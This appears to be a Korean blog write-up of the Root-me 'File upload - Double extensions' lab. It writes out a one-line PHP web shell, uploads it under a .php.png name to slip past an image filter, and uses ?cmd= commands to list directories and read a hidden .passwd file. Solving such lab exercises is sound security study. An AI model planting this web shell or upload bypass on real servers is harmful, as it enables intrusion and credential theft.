-
<Root-me> File upload - Double extensionsWargame/Root-me = Web - Server 2021. 12. 31. 15:32
File upload - Double extensions
문제 설명을 살펴보면
PHP 코드를 업로드하여 갤러리를 해킹하여 .passwd에 들어있는 비밀번호를 찾으라고 한다.
먼저, upload에서 테스트 사진을 업로드 해본다.
파일 형식은 ".gif", ".jpeg", ".png"만 업로드할 수 있다고 한다.
"test.png"를 업로드하면 파일 위치를 출력한다.
php 코드를 업로드하여 문제를 풀기 위해
<?php system($_GET['cmd']); ?>
으로 php 파일을 만들고, 확장자를 png로 변경한다.
ex) test.php.png
"test.php.png"가 위치한 경로에 접근해 URL에 "?cmd=ls"를 입력하면
"./upload/03a75dcdd6e46342d63f1d290ce8d8e9"에 위치한 파일들을 보여준다.
".passwd" 파일은 숨김파일로, "ls -al"로 찾을 수 있다.
"?cmd=ls -al"을 입력하면
".passwd" 파일은 보이지 않는 것으로 보아 이 위치가 아님을 알 수 있다.
ls [옵션] [경로]
위의 명령어로, 특정 경로에 위치한 디렉터리의 파일들을 출력할 수 있다.
따라서, URL에 "?cmd=ls -al ../../../"를 입력하면
".passwd" 파일이 존재한다.
접근 권한 때문에 URL에 "./../../../.passwd"를 입력하면 "403 Forbidden"을 출력한다.
따라서, "?cmd=cat ../../../.passwd"를 입력하면
FALG 값을 획득할 수 있다.
'Wargame > Root-me = Web - Server' 카테고리의 다른 글
<Root-me> SQL injection - Authentication (0) 2022.01.01 <Root-me> HTTP - Cookies (0) 2022.01.01 <Root-me> HTTP - POST (0) 2021.12.31 <Root-me> HTTP - Headers (0) 2021.12.31 <Root-me> HTTP - Directory indexing (0) 2021.12.31